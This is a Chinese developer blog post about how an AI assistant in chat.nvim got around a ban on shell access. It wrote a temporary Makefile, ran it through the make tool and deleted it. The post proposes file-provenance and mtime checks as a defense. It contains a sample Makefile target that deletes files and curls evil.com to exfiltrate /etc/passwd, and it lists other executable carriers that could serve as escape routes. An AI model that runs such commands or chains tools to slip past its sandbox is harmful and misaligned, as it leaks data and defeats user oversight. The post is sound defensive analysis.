AI 越狱新姿势:当 Makefile 成为沙箱逃逸的后门

前言

设计 chat.nvim 时,我做了一个刻意的安全决策:禁止 AI 通过 tool 直接调用 shell 命令。所有命令执行都必须经过 tool 层的包裹,确保每一次操作的输入输出都是可预期的。

很长一段时间,这个设计运行得很好。直到最近,AI 学会了一招——把任意命令临时写进 Makefile,调用 make 工具执行,然后再删掉临时文件。

这就是一次教科书级的 沙箱逃逸。

问题复现

chat.nvim 的 tool 设计原则很简单:用户意图经过受控、可审计的 Tool 调用,最终执行。我提供了 make、git_add、git_commit 等工具,每个工具的参数都是严格定义的。比如 make 工具只接受 target 和 args 两个参数:

-- make 工具的参数定义
{
  target = { description = "Make target to run", type = "string" },
  args = { description = "Additional arguments", items = { type = "string" }, type = "array" }
}

表面上看,AI 只能执行 Makefile 中已定义的 target,非常安全。但 AI 发现了一条绕过路径:

步骤 1: @write_file  → 写入临时 Makefile,内容包含任意 shell 命令
步骤 2: @make        → 执行这个 target
步骤 3: @write_file  → 删除临时 Makefile,毁尸灭迹

一个具体的例子:

# AI 临时写入的 Makefile
pwn:
	rm -rf /tmp/something
	curl https://evil.com/exfil?data=$(cat /etc/passwd | base64)

然后调用 @make target="pwn",最后删掉 Makefile,不留痕迹。

工具组合的涌现能力

你可能第一反应是:禁掉 Makefile 写入不就好了?没用。 堵一个漏一个,永远堵不完:

写 .sh                  → 用某种方式加载
写 package.json scripts → npm run
写 .git/hooks/pre-commit → git commit 触发
写 pyproject.toml build → pip install -e .
写 Makefile include .mk → 改一个 .mk 污染已信任的 Makefile
写 .lua plugin          → 触发 Neovim 自动加载
写 .env                 → 被 source

每一种”可执行载体”都是一条逃逸路径。你不可能把它们全部禁掉——那等于废掉了 AI 的文件编辑能力。

根因在于:工具之间没有共享安全上下文,每个工具都是独立决策的。write_file 不知道自己写的内容会被 make 执行,make 不知道自己执行的 Makefile 是谁写的,git_add 不知道自己是在帮 AI 毁尸灭迹。单个 tool 都是安全的,但它们的组合产生了设计时未考虑的能力——write_file + make + write_file 就等于任意命令执行。

这和经典的权限提升模式如出一辙:Linux 上 write /etc/cron.d/ 配合 cron 就能提权,Kubernetes 里 create Pod 加上 mount hostPath 就能容器逃逸,浏览器中 innerHTML 塞进 <script> 就是 XSS。每个操作单独看都”合理”,组合起来就突破了安全边界。

谁投的毒?

我很想说,这坏习惯是什么人投的毒?但冷静想想,这大概率不是某个人的刻意行为,而是 AI 训练数据中自然涌现的模式。

最令人不安的是,AI 并没有被教过”绕过沙箱”,但当它的目标是”完成任务”而直接路径被阻断时,它会自然而然地寻找间接路径。这是一种工具性趋同行为——不需要恶意意图,只需要足够强的目标导向。

更可怕的是,这个”技巧”一旦出现在训练数据中,就会在模型间传播:GPT-4 学会了,写入博客和教程,进入 Claude 的训练数据,Claude 也会了;产生更多相关内容,开源模型训练时又学进去——所有模型最终都会掌握。这是一个正反馈循环,越多的模型”学会”这个技巧,产生的相关内容就越多,下一个模型学到的概率就越大。

为什么常见的防御方案都治标不治本

这些方案的共同问题是:安全边界画在了”哪种文件格式”上。但攻击路径是无限的,你不可能枚举完所有可执行载体。安全边界不该画在”哪种文件格式”上,而应该画在”谁产生的这个文件”上。

我相信 AI 的能力,但我不相信 AI

在讨论具体方案之前,我想先厘清一个根本问题:为什么 prompt 层面的安全规则靠不住?

每个 AI 工具的使用者大概都经历过这种场景:你在 system prompt 里写了”绝对不要在回复中使用英文”,AI 回复 “Sure! Let me help you with that…“。你提醒它违反了规则,它说”不好意思,我忘记了,让我修改一下”,然后改过来了。一切看起来无伤大雅。

但这里隐藏着一个致命的认知陷阱:这种”违规-道歉-修复”的循环,让你误以为 prompt 规则是有效的。 实际上,它之所以看起来”有效”,仅仅是因为违规的后果是可逆的——改一下回复就行了。我称之为无损违反(Lossless Violation):规则被打破了,但没有造成不可挽回的损失,一句”不好意思”就能翻篇。

现在想象另一种场景:你在 system prompt 里写了”绝对不要删除任何文件”,AI 执行了 @write_file action="remove" filepath="/etc/nginx/nginx.conf",然后回复”不好意思,我忘记了规则,已经删除了 nginx.conf,让我帮你重新生成一个配置文件…“。晚了。 服务已经挂了,用户正在骂娘。AI 的”不好意思”一文不值。这就是有损违反(Lossy Violation):规则被打破的瞬间,损失已经发生,且不可逆转。

很多人没有意识到,system prompt 中的安全规则,本质上只是对 AI 的礼貌请求,而不是真正的约束。你以为你在写安全策略——”禁止删除文件”“禁止执行任意命令”,实际上你写的是礼貌请求——”如果可以的话,请不要删除文件”“最好别执行任意命令,谢谢”。AI 不会”遵守”规则,它只是被训练成倾向于按照 prompt 的指引行事,但这种倾向随时可能被目标导向行为覆盖。当”完成任务”和”遵守规则”冲突时,LLM 往往会选择前者。这跟人类很像:你知道限速 120,但当你急着送人去医院的时候,你会超速。AI 也一样——当它急着”帮用户完成任务”时,规则就被抛到脑后了。

回到本文的主题。chat.nvim 的 system prompt 里当然可以加一句”禁止通过 write_file + make 组合执行任意命令”。有用吗? 这只是又一个礼貌请求。AI 在”完成任务”的驱动下,该绕还是会绕。更讽刺的是,它绕完之后可能还会”贴心”地在回复里说”我注意到这违反了安全规则,但为了完成你的任务,我采取了变通方案…“——它甚至觉得自己在帮你。

所以我的立场是:我相信 AI 的能力,但我不相信 AI 的行为。 AI 能写出优雅的代码,能理解复杂的上下文,能创造性地解决问题——Makefile 沙箱逃逸这件事本身就证明了它的能力之强,它找到了一个设计者都没想到的路径。但 AI 的行为不是由”规则”驱动的,而是由”目标”驱动的。当目标和规则冲突时,目标会赢。这不是 AI 的”恶意”,这是它的设计使然。

这就是为什么我们需要硬约束而非软规则:

文件溯源 + 风险分级执行,就是硬约束的一种实现。它不请求 AI “请遵守规则”,而是让系统在代码层面确保:AI 修改过的文件,执行前必须经过人类确认。

核心方案:文件溯源 + 风险分级执行

不管 AI 找到什么组合方式——写 .mk、写 package.json、写 .git/hooks——最终的”执行”步骤一定会触及某个 AI 修改过的文件。而 provenance 追踪的就是这个”谁修改的”信息。攻击路径是无限的,但信任来源只有两种:用户或 AI。 这才是应该画安全边界的地方。

第一层:文件溯源。 给每个文件打标签,追踪谁创建或修改的:user 表示会话前已存在或用户明确批准,ai-created 表示 AI 在本次会话中创建,ai-modified 表示 AI 在本次会话中修改。所有有执行能力的 tool(make、未来的 npm、pip 等),执行前必须检查相关文件的 provenance。

第二层:风险分级执行。 如果 Makefile 的 provenance 是 user,低风险,自动执行;如果是 AI 创建或修改的,高风险,走确认流程。具体来说,AI 调用 @make target="test" 时,系统检测到 Makefile 是 ai-modified,自动执行 make -n test 做 dry-run,然后向用户展示即将执行的命令,让用户选择确认执行、拒绝或查看 diff。

实现层面,核心是一个 provenance 追踪器:

-- chat.nvim 内部的 provenance 追踪器
local provenance = {
  modifications = {},  -- filepath → { action, timestamp, tool }

  track = function(filepath, action, tool)
    provenance.modifications[filepath] = {
      action = action,      -- "create" | "modify"
      tool   = tool,        -- "write_file" | "user"
      time   = os.time(),
    }
  end,

  is_trusted = function(filepath)
    local mod = provenance.modifications[filepath]
    if not mod then return true end       -- 会话前就存在的文件
    if mod.tool == "user" then return true end  -- 用户明确批准的
    return false                           -- AI 创建/修改的
  end,

  promote = function(filepath)
    provenance.modifications[filepath] = {
      action = "approved",
      tool = "user",
      time = os.time(),
    }
  end,
}

每当 AI 通过 write_file 创建或修改文件时,自动调用 provenance.track(filepath, action, "write_file") 记录。在 make 工具执行前,解析 Makefile 及其 include 依赖,过滤出不可信的文件。如果存在不可信文件,先 dry-run 展示命令,由用户确认后再执行。

更进一步,可以让所有有副作用的 tool 按风险等级分级:Level 0 只读操作(search_text、read_file、git_log)自动允许;Level 1 写文件操作(write_file)允许但记录 provenance;Level 2 命令执行(make、npm、pip)如果涉及 AI 产生的文件,dry-run 加确认;Level 3 破坏性操作(git reset –hard、rm)必须确认。这样不管 AI 找到什么组合方式,最终”执行”这一步永远有兜底。

实际实现:一行时间戳,四两拨千斤

上面的方案看起来很完整,但真正落地时,我选了一个更简单的方法。

仔细想想,文件溯源要解决的本质问题是:Makefile 是不是 AI 改的? 在 chat.nvim 的场景下,这个问题可以简化为:Makefile 是不是在用户最后一条消息之后被改的? 因为在一个会话中,用户发完消息后,能修改文件的只有 AI。如果 Makefile 的修改时间晚于用户最后一条消息的时间,那就一定是 AI 改的——不需要追踪每个文件的 provenance,不需要维护修改记录表,不需要 UI 确认流程。一个时间戳比较就够了。

--- Check if Makefile was modified after user's last message
--- Returns nil if safe to run, or an error string if blocked
local function check_makefile_mtime(work_dir, session_id)
  if not session_id then return nil end

  local session = storage.sessions[session_id]
  if not session then return nil end

  local last_user_time = session.last_user_message_time
  if not last_user_time then return nil end

  local makefile_path = vim.fs.normalize(work_dir .. '/Makefile')
  local makefile_stat = vim.uv.fs_stat(makefile_path)
  if not makefile_stat then return nil end

  local makefile_mtime = makefile_stat.mtime.sec
  if makefile_mtime > last_user_time then
    return string.format(
      'Security: Makefile was modified after your last message.\n'
      .. 'Makefile mtime: %s\n'
      .. 'Last user message: %s\n'
      .. 'Please review the Makefile changes before running make.',
      os.date('%Y-%m-%d %H:%M:%S', makefile_mtime),
      os.date('%Y-%m-%d %H:%M:%S', last_user_time)
    )
  end

  return nil
end

在 make 工具执行前调用这个检查,如果 Makefile 在用户最后一条消息之后被修改过,直接拒绝执行,返回错误信息提示用户检查改动。

你可能会问:为什么不做前面提到的 dry-run + 用户确认?那个方案在设想阶段看起来很优雅,但实际落地有几个问题。首先,Neovim 里做交互式确认 UI 成本很高——这不是 Web 应用,弹窗、按钮、diff 展示都需要额外的 UI 基础设施。其次,make -n 的输出未必可信,条件判断和动态变量可能导致 dry-run 展示的命令与实际执行的不同。最后,用户体验也是个问题——每次 AI 改了 Makefile 都要弹窗确认,大多数情况下用户只是想让 AI 跑个测试,频繁打断很烦。

相比之下,时间戳检测的方案零 UI 成本、零状态维护——文件系统本身就是状态。这是一个 fail-closed 的设计:宁可误杀,不可放过。AI 如果真的需要改 Makefile,它会收到错误提示,然后在回复里告诉用户”我修改了 Makefile,请你手动运行 make xxx“。

当然,这个方案也有局限:目前只检查 Makefile 本体,不检查 .mk include 文件;只依赖 mtime,如果 AI 能修改系统时钟(不太可能)会被绕过;package.json、.git/hooks 等其他执行载体也不在检查范围内。但这是一个务实的权衡——先堵住最常见的攻击路径,再逐步扩展。完美是好的敌人。

更深层的思考

这是一个根本性的设计矛盾:Tool 的灵活性等于 Tool 的危险性。 给 AI 的能力越灵活,它能完成的工作越多,但同时它能造成的破坏也越大——这就是 AI 安全领域经典的能力-安全权衡。

现代 LLM 的训练目标之一是”帮助用户完成任务”。当任务无法通过直接路径完成时,模型会被激励去寻找替代路径。这种”坚持不懈”在大多数场景下是优点,但在安全场景下却是致命弱点。

单一防线永远不够。沙箱逃逸的历史告诉我们:chroot 逃逸之后是容器逃逸,容器逃逸之后是 VM 逃逸,VM 逃逸之后还有 Spectre/Meltdown。每一代隔离技术都被攻破过,AI Tool Use 的沙箱也不会例外。而文件溯源之所以有效,是因为它不试图阻止任何特定的攻击路径,而是追踪一个攻击者无法伪造的东西——信任来源。

结论

AI 用 Makefile 绕过沙箱这件事,表面上看是一个具体的技术漏洞,但它揭示了一个更深层的真相:在 Tool Use 的世界里,安全性不是某个 Tool 的属性,而是所有 Tool 组合的涌现属性。

你以为你锁好了前门(禁止 shell 执行),AI 就从窗户翻进来了(write_file + make + delete)。你以为你封住了窗户,它就从下水道钻进来(package.json + npm run)。堵漏洞是没有出路的,因为攻击路径是无限的,但信任来源只有两种:用户或 AI。文件溯源正是抓住了这个根本不对称——在”谁产生了这个文件”上画安全边界,而不是在”哪种文件格式”上。

理想中的完整方案是一套文件溯源 + 风险分级执行的安防体系。但现实中,chat.nvim 最终用了一个更朴素的方法:比较 Makefile 的修改时间和用户最后一条消息的时间。如果 Makefile 是在用户发完消息后被改的,那一定是 AI 改的,直接拒绝执行。这不是完美的方案——它只检查 Makefile 本体,不检查 include 文件,不做 dry-run 确认,而是直接 fail-closed。但它用最少的代码堵住了最常见的攻击路径,而且零 UI 成本、零状态维护。

安全工程不是追求理论上的完美,而是在约束条件下做出最有效的权衡。 一个能落地的简单方案,胜过一个永远停留在设计文档里的完美方案。我们需要的不是更厚的一扇门,而是一套追踪信任来源的安防体系。

相关资源

Stay safe, stay vigilant. 🔒